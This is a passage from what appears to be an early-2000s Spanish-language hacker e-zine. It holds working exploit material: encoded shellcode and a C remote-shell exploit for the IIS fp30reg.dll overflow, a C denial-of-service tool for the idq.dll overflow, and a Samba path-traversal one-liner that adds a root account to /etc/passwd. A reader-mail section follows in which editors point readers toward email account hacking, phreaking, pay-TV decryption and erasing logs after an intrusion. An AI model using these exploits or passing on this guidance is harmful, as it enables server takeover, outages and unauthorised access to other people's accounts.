"\xe9\xe1\x21\x5e\xc0\xaa\x27\x3f\x8e\x5d\x55\x55\xf8\x27\x2f\xea\x5d\x55\x55"
"\xfa\x27\x27\xee\x5d\x55\x55\xfb\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x27\x17\xca\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58\x1\x6d\x2f"
"\x26\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x2f\x3a\x5d\x55\x55\xaa\xaa\x21\x3f"
"\xee\x5d\x55\x55\x23\x3f\x32\x5d\x55\x55\x21\x2f\xe2\x5d\x55\x55\x23\x2f\x36"
"\x5d\x55\x55\x21\x27\xe2\x5d\x55\x55\x23\x27\xa\x5d\x55\x55\x6d\x2f\x6\x5d\x55"
"\x55\xaa\xaa\xaa\xaa\x21\x5e\x27\x3f\xfa\x5d\x55\x55\xf8\x27\x2f\xca\x5d\x55"
"\x55\xfa\xc0\xaa\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x16\x5d\x55"
"\x55\xfb\xc0\xaa\x55\x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x2f"
"\x6\x5d\x55\x55\x21\x3f\x16\x5d\x55\x55\x29\x68\xa2\x23\x3f\x16\x5d\x55\x55"
"\x21\x5e\xc0\xaa\xc0\xaa\x27\x2f\x96\x5d\x55\x55\xfa\xc2\xaa\xa2\xaa\xaa\x27"
"\x27\x56\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55\x3f\x4a\x5d\x55\x55"
"\x91\x5e\x3a\xe9\xe1\xe9\xe1\x6d\x2f\x6\x5d\x55\x55\xa2\xaa\xaa\xaa\x21\x5e"
"\xc0\xaa\x27\x2f\x6\x5d\x55\x55\xfa\x21\x27\x16\x5d\x55\x55\x29\x6b\xa3\xfb"
"\x21\x3f\x6a\x5d\x55\x55\xf8\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x12\xab\xaa\xaa\xaa\x2f\x6a\xa5\x2e\xf4\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0"
"\xaa\x27\x27\x96\x5d\x55\x55\xfb\xc2\xaa\xa2\xaa\xaa\x27\x3f\x56\x5d\x55\x55"
"\xf8\x21\x2f\xe6\x5d\x55\x55\xfa\x55\x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x29\x17\x96\x5d\x55\x55\xaa\xd4\xcb\x21\x5e\xc0\xaa\x27\x27\x96\x5d"
"\x55\x55\xfb\x21\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27"
"\xe6\x5d\x55\x55\xfb\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29"
"\x17\x96\x5d\x55\x55\xaa\xd4\x8c\x21\x5e\xc0\xaa\x27\x3f\x96\x5d\x55\x55\xf8"
"\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27\x6a\x5d\x55\x55\xfb\x55\x3f\x62\x5d\x55"
"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\x68\xaa\xaa\xaa\x6d\x2f\x96\x5d\x55\x55"
"\xaa\xa2\xaa\xaa\x21\x5e\x27\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55"
"\xfa\x21\x27\x6a\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x23\x2f\x6\x5d\x55\x55\x29\x17\x6\x5d\x55\x55\xab\xde\xf2\x6d\x2f\x6"
"\x5d\x55\x55\xa2\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\x6\x5d\x55\x55\xf8\x21"
"\x2f\x6\x5d\x55\x55\xfa\x21\x27\x16\x5d\x55\x55\xfb\x21\x3f\xea\x5d\x55\x55"
"\xf8\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x12\xab\xaa\xaa\xaa"
"\x2f\x6a\xde\xbc\x21\x5e\xc2\x55\x55\x55\xd5\x55\x3f\x46\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x41\x4b\x41\x87\x21\x5e\xc0\xaa\x27\x27\x96\x5d\x55\x55"
"\xfb\x21\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27\xea\x5d"
"\x55\x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\x3f\x54"
"\x55\x55\x41\x54\xf2\xfa\x21\x17\x16\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e"
"\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\x9a"
"\x50\x55\x55\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde"
"\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce"
"\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf"
"\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xf9\xc6"
"\xcf\xcf\xda\xaa\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xa7\xa0\xcf\xd2\xc3\xde"
"\xa7\xa0\xaa\xf2\xe5\xf8\xee\xeb\xfe\xeb\xaa";
int
resolv (char *host, long *ip)
{
struct hostent *hp;
if ((*ip = inet_addr (host))<0)
{
if ((hp = gethostbyname (host)) == NULL)
{
fprintf (stderr, "%s: unknown host\n", host);
exit (-1);
}
*ip = *(unsigned long *) hp->h_addr;
}
return 0;
}
int
connect_to (char *hostname, short port)
{
struct sockaddr_in sa;
int s;
s = socket (AF_INET, SOCK_STREAM, 0);
resolv (hostname, (long *) &sa.sin_addr.s_addr);
sa.sin_family = AF_INET;
sa.sin_port = htons (port);
if (connect (s, (struct sockaddr *) &sa, sizeof (sa)) == -1)
{
perror("connect");
exit(-1);
}
return s;
}
void
runshell (int sockd)
{
char buff[1024];
int ret;
fd_set fds;
printf("\nPress CTRL_C to exit the shell!\n");
for (;;)
{
FD_ZERO (&fds);
FD_SET (0, &fds);
FD_SET (sockd, &fds);
if (select (sockd + 1, &fds, NULL, NULL, NULL) < 0)
{
exit (-1);
}
if (FD_ISSET (sockd, &fds))
{
bzero (buff, sizeof buff);
if ((ret=read(sockd,buff,sizeof(buff)))<1)
{
fprintf (stderr, "Connection closed\n");
exit (-1);
}
write(1,buff,ret);
}
if (FD_ISSET (0, &fds))
{
bzero (buff, sizeof buff);
ret=read(0,buff,sizeof(buff));
write(sockd,buff,ret);
}
}
}
main (int argc, char **argv)
{
char overbuff[400];
char buff[4096];
/* If system has the unicode bug, it is possible to attack fp4areg.dll */
/* char fppath[] = "/_vti_bin/..%c1%9cbin/fp4areg.dll"; */
char fppath[] = "/_vti_bin/_vti_aut/fp30reg.dll";
char server[] = "www.blahblah.com";
char retaddress[] = "\x62\x18\xd5\x67";
char jmpshell[] = "\xff\x66\x78";
int i, sockfd;
int port = 80;
if (argc < 2)
{
printf ("Proof of concept code for fp30reg.dll overflow bug by NSFOCUS Security Team\n\n");
printf ("Usage: %s victim [port]\n", argv[0]);
exit (-1);
}
if (argc > 2) port = atoi (argv[2]);
sockfd = connect_to (argv[1], port);
bzero (overbuff, sizeof (overbuff));
bzero (buff, sizeof (buff));
memset (overbuff, 'a', 258);
memcpy (overbuff, jmpshell, strlen (jmpshell));
strcpy (overbuff + 258, "%c");
for (i = 0; i < 0x50; i += 4)
strncat (overbuff, retaddress, 4);
strcat (overbuff, "aaa");
sprintf (buff,
"GET %s?%s HTTP/1.1 \nHOST:%s\r\nContent-Type: \
text/html\nContent-Length:%d\r\nProxy_Connection: Keep-Alive\r\n\r\n%s",
fppath, overbuff, server, strlen (shellcode), shellcode);
printf ("buff len = %d\n", strlen (buff));
write (sockfd, buff, strlen (buff));
printf ("payload sent!\n");
if(read (sockfd, buff, strlen(buff))<0)
{
printf("EOF\n");
exit(-1);
}
else
{
if(memcmp(buff,"XORDATA",8)==0)
{
printf("exploit succeed\n");
/* Press Enter key to get the command prompt */
runshell (sockfd);
}
else
{
printf("exploit failed\n");
close(sockfd);
exit(-1);
}
}
}
*****************************************************************************
Vendor: Microsoft
Vulnerabilidad: Extensiones ISAPI en IIS
Parches:
Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30833
Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30800
-----------------------------------------------------------------------------
Microsoft ha advertido sobre una grave vulnerabilidad (boletin MS01-033 que
afecta a Internet Information Service (todas las versiones) bajo Windows NT
4.0 o Windows 2000. Se recomienda a todos los administradores de sistemas la
instalacion del correspondiente parche.
La vulnerabilidad esta dada por un desbordamiento de bufer, que podria
permitir la ejecucion de codigo arbitrario en el equipo afectado. Esta
falla se encuentra en una porcion de codigo de la extension ISAPI idq.dll que
esta relacionada con las funcionalidades de Microsoft Indexing Service.
Si se hace una solicitud creada especialmente, seria posibe colgar los
servicios web y segun la version del IIS, incluso a reiniciar el servidor. Y
si la solicitud es especialmente construida, se podria llegar a tomar control
completo del servidor web con sus consiguientes efectos.
Una forma manual para protegerse contra esta vulnerabilidad, es la de siempre,
deshabilitar el mapeo de los archivos *.idq y *.ida, pero lo mejor como
siempre es bajar e instalar el parche.
Exploit
// DoS for isapi idq.dll unchecked buffer.
// For Testing Pruposes
// By Ps0 DtMF dot com dot ar
#include
#include
#include
#include
#include
#include
#include
// #define DEBUG
int main(int argc, char *argv[])
{
char mensaje[800];
char *bof;
int fd;
struct sockaddr_in sin;
struct hostent *rhost;
if(argc<2) {
fprintf(stderr,"Use : %s host\n",argv[0]);
exit(0);
}
bzero(mensaje,strlen(mensaje));
bof=(char *)malloc(240); // 240 segun eeye , si se le da mas NO anda
memset(bof,'A',240);
sprintf(mensaje,"GET /NULL.ida?%s=X HTTP/1.0\n\n",bof);
#ifdef DEBUG
printf("\nMenssage : \n%s\n",mensaje);
#endif
if ((rhost=gethostbyname(argv[1]))==NULL){
printf("\nCan't find remote host %s \t E:%d\n",argv[1],h_errno);
return -1;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
memcpy(&sin.sin_addr.s_addr, rhost->h_addr, rhost->h_length);
fd = socket(AF_INET,SOCK_STREAM,6);
if (connect(fd,(struct sockaddr *)&sin, sizeof(struct sockaddr))!=0){
printf("\nCan't Connect to The host %s. May be down ? E:%s\n",argv[1],strerror(errno));
return -1;
}
printf("Sending string........\n");
if(send(fd,mensaje,strlen(mensaje),0)==-1){
printf("\nError \n");
return -1;
}
printf("\nString Sent... try telnet host 80 to check if IIS is down\n");
close(fd);
return 0;
}
*****************************************************************************
Creacion de archivos remotamente en smbd
Autor: Michal Zalewski <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
Fuente: Post a Bugtraq de Michal Zalewski
Debido a una insuficiente validacion de parametros en el daemon smbd (Samba)
de *ix, y a una configuracion por defecto insegura, numerosos sistemas
corriendo smbd (2.0.7 y 2.0.8 son las versiones al vulnerables al parecer),
son vulnerables a ataques remotos.
El daemon samba guarda logs de sesiones SMB por defecto en el archivo
/var/log/samba/.log. Si el atacante se conectara por ejemplo
desde LALALA, los logs de esa coneccion quedarian guardados en
/var/log/samba/lalala.log.
El problema es que si el atacante se conecta por ejemplo desde un sistema
llamado '../../../owned', la coneccion seria aceptada, y a demas se crearia
el archivo /owned.log. (en el cual el atacante puede escribir contenidos
altamente dependientes de el)
La vulnerabilidad es explotable si la siguiente lina se encuentra en el
archivo smb.conf:
log file = /var/log/samba/%m.log
El path puede cambiar, lo importante es que la %m (que samba substituye por
el nombre netbios cuando llega una conexion) vaya antes que el .log, de otra
forma la explotacion seria muy dificil.
Un ejemplo de explotacion (tomado del advisory orginal, en el cual ganariamos
privilegios de root a partir de un usuario normal en un sistema corriendo una
version vulnerable de samba), seria el siguiente:
$ ln -s /etc/passwd /tmp/x.log
$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
-n ../../../tmp/x -N
donde 'NIMUE' es el netbios hostname del servidor vulnerable.
$ su toor
#
*****************************************************************************
Compromiso de root local en OpenBSD 2.8, 2.9 (posiblemente otras versiones)
Autor: Georgi Guninski
Fuente: Post a Bugtraq de Georgi Guninski
Existe un compromiso de root local en OpenBSD 2.8, 2.9 debido a una "race
condition" posiblemente en el kernel.
"forkeando" unos cuantos procesos es posible adjuntarse (attach) a un proceso
SUID con ptrace().
El proceso parece estar en un estado extra~o cuando es "attacheado".
Contrario a la informacion que se encuentra en la manpage, PT_DETACH permite
especificar una direccion en la cual el proceso continua su ejecucion.
Exploit: http://www.guninski.com/vvopenbsd.c
*****************************************************************************
Agradecimientos a:
PacketStorm
Securityfocus
Hispasec
Y muchas otras que no recuerdo...
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 16. Ha llegado mail ::--..
by CDLR
De: N3kr1s [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: Hack Team en Uruguay
Hola Proyecto R,
Espero ke se encuentren bien, bueno voy a empezar;
Me presento como veran soy "N3kr1s", de Uruguay, alguien ke hace tiempo (3
a~os aprox.) esta intentado reunir a hackers Uruguayos para formar el primer
Team de Hackers de nuestro pais, con esto no estoy queriendo decir ke no
existe ningun grupo en el medio (Uruguay), seguramente los hay lo ke quiero
decir es ke me parece ke estan un poco escondidos.
Como sabran lo ke si existen (Y MUCHOS) son "ni~os" en la red jugando con el
Netbus, Subseven, Deep Throat, Bo y algun ke otro Troyanito, (sin ofender a
los troyanos, porke algunos son interesantes herramientas, pero para lo ke
las usan ellos son para diversion y destruccion con eso
inconscientemente estan perjudicando la verdadera imagen de el hacker, ke
lo ke busca (entre otras cosas) es aprender cada dia algo nuevo, e
intentar aportar experiencias, conocimientos, etc. nuevos a la inet y al
under, pero gente con ganas de aprender realmente, SON CONTADOS CON LOS
DEDOS LOS POCOS KE HAY. (estoy hablando en Uruguay)
Hace un tiempo le hable a "Pedro Cambell" [el primer hacker uruguayo ke entro
a el LATU, (Lab. Tecnologico del Uruguay) o al primero ke lo pescaron je je
je ;-P] y le propuse esto del grupo, a lo ke el me contesto, ke iba a pensar
en la propuesta, el estaba interesado, pero no tenia mucho tiempo disponible
(factor ke de seguro le afecta a muchos, incluyendome), pero yo quede en
avisarle si encontraba gente (con neuronas inquietas claro) para formarlo.
Hace 2 semanas ke estoy intentando localizar a "enan0" otro hacker uruguayo
ke formaba parte de Raregazz (el era quien llevaba la lista
Raredudez), pero hasta el momento no me ha respondido los mail,
(quiero agradecer a Altekx_ H3z de Raregazz por su ayuda).
Me parece ke "enan0" al no encontrar ningun grupo nacional, como yo se tubo
ke unir a otros grupos extranjeros.
El Team seria para (como cualquier otro); Difundir mas esta cultura,
incentivar mas a la gente a probar cosas diferentes (ej. LINUX), ke no se
limiten tanto a sistemas de "Moco$soft", y tambien reflejar el panorama under
nacional y porque no mundial, analizar servers de universidades nacionales,
(se sorprenderan de la cantidad de vulnerabilidades ke existe X-P), y
distintas actividades ke todos conocemos.
Desde ya les agradezco por todo, principalmente a el amigo Mr.Nexus y
quiero ke sepan ke aprecio su trabajo, USTEDES, ENTRE OTRAS COSAS,
INTENTAN TRASMITIR UN POCO DE CONOCIMIENTO, Y LO HACEN BIEN ;-D.
Perdon por hacerlo tan largo (y por alguna ke otra falta de "hortografia",
sin incluir los tildes ke los suprimi), y a todos los hacker o interesados en
la seguridad informatica (con conocimientos claro), y como requisito KE SEA
URUGUAYO ke me manden mails:
mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
http://pagina.de/legion_oscura
PD.: No intente hacer ningun texto super hiper Elite, simplemente hacer
llegar mi propuesta, EL UNDER URUGUAYO LOS NECESITA, QUE ESPERAN.
[Nex: Bueno, ya estuvimos hablando algo por mail... esperamos que al poner tu
msg en el zine llegue a quien tenga que llegar y que podais montar un buen
grupo. Animo!]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: cecilia [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
quiero aprender a hackear correos de latinmail
[CHack: Estimada Cecy, dicen que con paciencia, salivita y un poco de
ingenieria social puedes lograr lo que te propongas y si no consulta
http://www1.gratisweb.com/hackear/ para que veas como se puede hacer.]
[Nex: Eso de la paciencia y la saliva me recuerda a:
"Con paciencia y con saliva, el elefante se la metio a la hormiga."
Un antiguo profesor
]
[cucumber: Cecilia (boloco?), debo decirte que para caminar, primero debes
aprender a gatear, asi que te recomendaria que leyeras las ezines (revistas
electronicas): Proyecto R {1,...,11}, Raregazz, SET, JJF, etc.. que son
revistas excelentes y donde puedes aprender mucho.]
[ Tkr: Querida Ceci: de acuerdo a tu solicitud, me permito informar sobre los
los elementos necesarios para llevar a cabo el hackeo del correo de hotmail
1. Consigue un computador (traste, box, pc, computadora, o como lo llames.)
Indispensable que traiga modem
2. Consigue una cuenta hackeada de algun ISP de tu ciudad -Igual vale de
otra ciudad, de todas formas la paga tu querido padre - Si no tenes muy
claro este proceso puedes mirar en el anexo No.2 (mas abajito...)
3. Configurar la cuenta en tu computador (traste, box, pc, computadora, o
como lo llames.) Recuerda que es indispensable que traiga modem.
4. Establece la conexion (inicio, programas, accesorios, acceso telefonico
a redes y luego seleccionas la conexion que configuraste en el paso
anterior.
MIERDA...
me equivoque, no era hotmail, era latinmail, vamos a tener que empezar de
nuevo...
Pero esto va creciendo en Kb's y despues el editor me jode...
mejor dejemoslo para otra ocasion...]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Spiderman [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
hi, emm, maestros, tengo 2 preguntas: el mail suyo del bigfoot se
mantiene???, otra: el haktek, de donde lo puedo bajar? thanx.
[Nex: a) Sip
b) En google salen 1810 resultados, no me creo que ninguno lleve a nada]
[CHack: Estimado Spiderman a la primera pregunta te respondo con no se,
porque la ultima vez que vi a ese mail aun no habia conseguido trabaja para
poder mantenerse; a lo segundo te recomiendo que te des una vuelta por
astalavista.box.sk. PD: Tambien contamos con los dedos.]
PD: Son un orgullo cauros, excelente e-zine, me lo toy mamando toitito,
y aparte chile necesita un ente que ejerza presion... asi como cuentan
conmigo, seguro que contaran con muchos ;)
[cucumber: si funciona el mail de Bigfoot. Ya que contamos contigo, mandanos
un articulo! siempre sera bienvenido...]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Mardol [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Soy un chavo mexicano que quiere aprender todo acerca de hackers y que mejor
que poderme integrar a su unisn... Tengo 17 a~os y estudio el primer sem. de
Ing. en Computacisn., asm que ayudenme hermanos chilenos.
[CHack: Estimado paisano, lo unico que te puedo decir es este negocio
requiere 0.1% de inspiracion 99.9% de transpiracion, asi que vete preparando
para perder sueno, amigos, familia en pos del conocimiento y por lo pronto
visita zine store entre otros.]
[ Tkr: mmmm, yo solia ver ese programa en tv hace mucho tiempo... luego se
fue poniendo aburrido y lo repetian mucho... de todas formas fue muy
divertido y creo que para muchos de nosotros tambien... alguna vez tuviste
algo con la chilindrina..??]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Josi Valdis [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
locos, yo soy un simple weon q como otros miles de trillones kiere ser uno de
uds, pero creo q a diferencia de los demas q solo kieren kebrarse por sus
"conocimientos", yo kiero ser un weon piola, alomejor ni mepescan y serm muy
fasil para uds. cagarme el pc, pero kiero ser uno de uds. y corro el riesgo,
porfa mandenle un e-mail a este lamer reculiao q les escribe terrible
ilucionao q no tiene ni LInux toavma pero lo TendrA, nos vemos, y peskenme
plis, bye...
[CHack: Estimado Josi, pues mi caso es mas o menos como el tuyo, pero yo ya
no digamos linux, ni siquiera computadora tengo es mas los email los envio
hechos a mano y los pego en el monitor.]
[cucumber: excelente tu entusiasmo, pero ojo, usar linux no es sinonimo de
ser hacker. De hecho, para hackear un NT, es mas facil hacerlo desde NT por
ejemplo. Lo importante es que aprendas leyendo y practicando mucho. Si
quieres nos puedes mandar articulos, esa es la mejor forma de aportar con
nosotros.]
[Tkr: Primero, nosotros no nos cargamos los pc's de nadie, segundo, no hables
de linux que me hace acordar de mi D.D. de 2 Gb con Win 95 porque el sueldo
no me da pa mas y mi daddy no me da ara otro...!!! bahhh... ]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: LeXInT0n [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
holas ultimamente he estado muy interesado en adquirir conocimientos hack y
phreak, bueno mas phreak que hack, ya que como estudio electronica se me hace
mas familiar y estoi tratando de hacer blue box...de eso te queria preguntar.
?con que frecuencia se corta aca en chile? por lo que se en estados unidos se
usa una frecuencia de 2600mhz pero aca?..
[Nex: El tema de las boxes esta ya muy quemado, dudo que se puedan hacer
llamadas free por estos metodos. El presente (y futuro) del phreak pasa por
la telefonia celular, sin duda. ]
Lo otro era sobre unos telefonos plateados de entel unos que ala insertar
monedas manda una frecuencia por el auricular... bueno en eso estoy, tratando
de sacar probecho..ummm. no se si te te ocurre algo auds... bueno lo otro es
acerca de la famosa tarjeta de prepago con el chip esa que todos tratan de
emular...yo he tratado de contruir una pero los materiales para hacerlo no
son nada faciles de conseguir..(es chilito po) por eso no la pude terminar.
[Nex: En la Red hay tiendas de electronica que venden remotamente y que
probablemente tendran todos los componentes que buscas. Pero al loro con
estos circuitos, asegurate de que el que consigues es para el sistema
telefonico de tu pais, y de que esta actualizado y es poco conocido.]
por eso les mando este mail por si alguien del staff pueda alludarme con
alguna informacion .. de antemano se les agradece
[cucumber: En chile no se escucha nada de phreacking. Alguna vez
supe de un grupo que hacia algo, pero nunca mas supe de ellos.
Tambien esta el ninno Moonspell que tenia algunas publicaciones de
phreacking por ahi. Pero mas que eso, nada.]
PD: SI ALGUIEN DE UDS SE INTERESA POR EL PHREAK QUE ME DE SU E-MAIL POR FA
PARA VER SI EN CHILITO SE PUEDE HACER ALGO
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Ignacio Seron [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
de verdad los felicito por la seguridad, siempre me ha gustado, pero de
verdad yo creo que soy un lamer... da lo mismo, de hecho siempre me ha
molestado el hacer daqo con todo esto de internet y estas cosas...
Solo 1 pregunta, se sabe algo de phreakin aca en chile? La verdad llevo aqos
tratando de hacer algo interesante, pero mas que hacer tapping a alguna
linea, no he logrado hacer llamadas gratis de verdad a los tel publicos,, se
sabe algo al respecto?
[Nex: Jeje, como quien pregunta por la familia, y afirma que se acerca buen
tiempo. ¿Se sabe ya algo de como llamar gratis? xD
[CHack: Estimado nacho, no te podria decir el caso de Chileno, pero lo que si
te puedo decir es que existe muy poco escrito al respecto y normalmente las
telefonicas siempre estan buscando sus huecos para evitar este tipo de
cosas.]
[cucumber: ponte en contacto con el compadre del mail anterior.]
[Plx: por que ha nadie se le ocurre jugar con otras cosas como los boletos
del metro: Materiales : Una radio grabadora , cartulina , pegamento , tijeras
, cinta de audio , un boleto de metro .. y muchas ganas de jugar .. pero
dejemoslo para el proximo numero]
saludos
gugo
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Cristian Flores [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
que buena compadre, por fin algo de informacion al cayo, puta que me aburri
buscado un codigo para una rutina, pedi ayuda en los famosos chat, donde
todos lo que estan conectados se tildan de cototos computines por que te
pueden banear y sacarte, pero de computacion no tienen idea, lo bueno de todo
este jaleo de buscar y no encontrar fue que los halle a ud. VIVA.
Me da gusto que por fin algunos chilenos esten haciendo cosas creativas y muy
tecnicas. Los felicito y me comprometo a ser una HackerFan de Uds. y me
gustaria darles algunas ideas que han pasado por mi mente para mejorar el
acceso a INet.
[CHack: Estimado Cristian, te aviso que yo tambien soy un hackerfan de mis
companeros del grupo.]
[cucumber: MUY pocas veces he sacado info valiosa de un chat, excepto cuando
chateo con gente del grupo. Lo mas valioso se saca buscando, leyendo, etc.
Veo que ya lo has hecho, pero hay que seguir compadre.. asi es la cosa.]
[ Tkr: Cristian... creo que lo mejor es que no te vayas creyendo lo que
cualquier guev*n te va diciendo por ahi... sigue el consejo de Cucumber,
ademas tambien debes practicar, es lo mejor que puedes hacer... es en
serio...]
Saludos.
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: willy [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hola espero que esto funcione alla en mi ,pais por aqui mis operaciones son
basadas sobre la recepcion satelital y su decodificacion de sistemas de
cryptaje en las cartas me gustaria saber si por esos lados hay gente que se
meta en esto y ya hayan hecho saltar el crypto de Sky Chile
[Nex: Arf! ¿no respiras nunca?]
[CHack: Estimado willy, ¿Decodificacion?, ¿cryptaje?, ¿con que se come eso?]
[cucumber: algo he leido sobre Sky. Si lo encuentro te lo mando y si
encuentras algo, mandalo al mail del grupo, ok?]
[Plx : he sabido que por 170 lukas te integran una tarjeta con la cual puedes
acceder a todos los canales de america.. incluso los cochinones .. el
problema que los codigos de encripacion de cada canal se cambian cada cierto
tiempo por lo cual es muy probable que esta solucion dure poco.]
Un saludo Willy
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: seba [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
me gustaria seber si son chilenos, y si me podrian ayudar, me gustaria ser
hacker, creo que los conocimientos que adquiera no los ocupare para mal, pues
no me gustaria que me lo hicieran a mi quisiera saber si alguno de ustede me
puede ayudar me gustaria aprender,me gusta conocer lo que ocupo y me siento
muy desprotegido, al no conocer mucho sobre los hacler y su manera de actuar,
porfavor ayudenme, si me puden dar nombres de preogramas y direecciones donde
bajarlos se los agradeceria mucho pero porfavor que sean seguras, bueno de
antemano muchas gracias, y espero que me ayuden
[Nex: Hack no es tener programas ultra cool y mega secretos]
[CHack: Estimado seba, lo mismo dijo Kevin ...]
[cucumber: si, somos Chilenos, Argentinos, Colombianos, Mexicanos,
Espa~oles, etc.. habemos de hartas partes de hispanoamerica, aunque el
fundador (plaxius) es Chileno.]
[ Tkr: Nombres de programas (tambien te doy la cantidad de cd's en que viene
cada uno, asi te sera mas util):
Microsoft Windows 95 -- 1 cd
Enciclopedia Microsoft Encarta 2045 -- 32 cd's
Microsoft Outlook Express -- Este lo puedes bajar de Inet.
Recomendado del dia: El dia del tentaculo -- Lo encuentras en cualquier
web de abandonware... es un juego buenisimo.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Pato [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
holassssss , soy un estudiante de computacion de la serena he le hido varias
de sus revistas (1,2,5), bueno , los llamaba por k tengo una pregunta ,
cuando se hackea, como borran el IP o como lo enmascaran ?, para que no los
delanten?
[Nex: En los miles de tutoriales 'how to become a juanker in 10 mins' que hay
por ahi, dice que una vez dentro del sistema y con privilegios de
administrador/root sencillamente tienes que buscar que y donde te han
logueado y despues proceder a borrarlo, eres admin y puedes hacerlo. Lo de
enmascarar la IP consiste en conectarte a una maquina y desde ella,
conectarte al objetivo. ]
[ Tkr: mierda... lo estoy haciendo mal... enseguida vuelvo....]
[CHack: Estimado Pato, lo borramos con con borrador y lo enmascaramos con
condon.]
[cucumber: leete las 3,4,6,7,8,9,10 y 11!!!. Como borramos las huellas.. eso
sale en extenso en los ezines que no has leido. De hecho una parte importante
del hackeo consiste en el borrado de huellas. Y lo otro, si, es con condon. Y
no es broma. Investiga y sabras a que nos referimos con condon.]
le hago estas preguntas por , que me facina el tema , bueno lo mio es
programar la verdad no se mucho de redes e internet , mi fuerte es C++,
builder, Visual B, Java , pero toy aprendiando de apoco. bueno chao ojala me
